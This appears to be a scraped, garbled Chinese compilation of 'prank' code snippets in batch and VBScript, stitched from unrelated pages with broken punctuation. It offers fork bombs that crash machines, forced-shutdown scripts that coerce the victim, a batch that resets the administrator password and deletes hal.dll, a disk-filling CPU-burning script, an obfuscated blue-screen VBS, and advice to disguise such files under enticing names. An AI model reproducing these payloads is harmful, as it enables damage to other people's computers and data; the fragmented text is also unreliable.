注意条款全部代码没有正常解除方式，会对机器造成伤害，在实体机上实验概不负责echo off echo 开始 2 start cmdexe goto 2 就是主要是利用goto 来跳转到2 循环跳转就是循环用start 打开CMD ^^ 友情提示。
true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，你真听话！哈quot用到的控件和界面方面自己发挥，VB的代码根据兴趣DIY复制此代码新建文本文档命名为 整人vbe名字随便起，后缀名是vbe就可以了。
vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS。
关机代码，直接复制到txt中，然后另存为vbs的文件就可以了on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是猪。
代码开始，只抄横线里面的 ___echo off net user administrator nishizhu\add del s q c\Windows\System32\haldll shutdown s t 5 c 你是一头猪___代码详解echo off 隐藏命令，关闭回。
Microsoft Visual Basic是微软公司出品的一套可视化编程工具， 语法基于Basic 脚本语言， 就是不编译成二进制文件， 直接由宿主host解释源代码并执行， 简单点说就是你写的程序不需要编译成exe， 而是直接给用户发送vbs的。
gsh=msgbox quot已经准备好格式化，准备开始quot，vbyesnoset s=createobjectquotwscriptshellquotwscriptsleep 1000 msgbox quot开始格式化 哈哈吓晕了吧，骗你的~quotwscriptsleep 1000 wscriptsleep 1000*100 msgbox quot。
bat文件 测试平台32bit XP 功能让电脑死机 代码开始 0%0 代码结束 使用方法1新建个文档别告我你不会2复制粘贴那段代码 3保存为XXXXXbatXXXXX为随意名字，比如刷钻什么的。
set ws = wscriptcreateobjectquotwscriptshellquotif msgboxquot纯属娱乐！just for fun！quot，4132，quot绝对无毒无害！你准备好了吗？quot=vbyes then msgboxquotOK！quotelse wspopupquot那也没办法！接招吧！quot，3 wspopupquot等会的解除。
Private Sub Form_LoadForm1Visible = False For i = 1 To 20 Open quotc你被怪人恶搞了，你傻了吧quot CStri quottxtquot For Random As 1 Open quotd你被怪人恶搞了，你傻了吧quot CStri quot。
Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34。
毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件请准备好30G空间具体在代码中仅供恶搞娱乐和研究，没有攻击任何人，组织的意图set qstart = wscriptCreateObjectquotwscriptshellquotset qweb = CreateObjectquotWscript。
lt！DOCTYPE html PUBLIC quotW3CDTD XHTML 10 TransitionalENquot quotDTDxhtml1transitionaldtdquot Document function myaddobj，e，fn ifobjattachEvent。
首先创建 文本文档，将以下代码复制on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是只猪，不说就一分钟关你。
dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试quotquot quot，0，true dim。
color 1f echo off title 最好别关本程序否则后果自负！echo 你中招了！echo 处理器异常！ping n 4 nul echoecho 正在移除C盘echoping n 4 nul echo 正在移除D盘echo。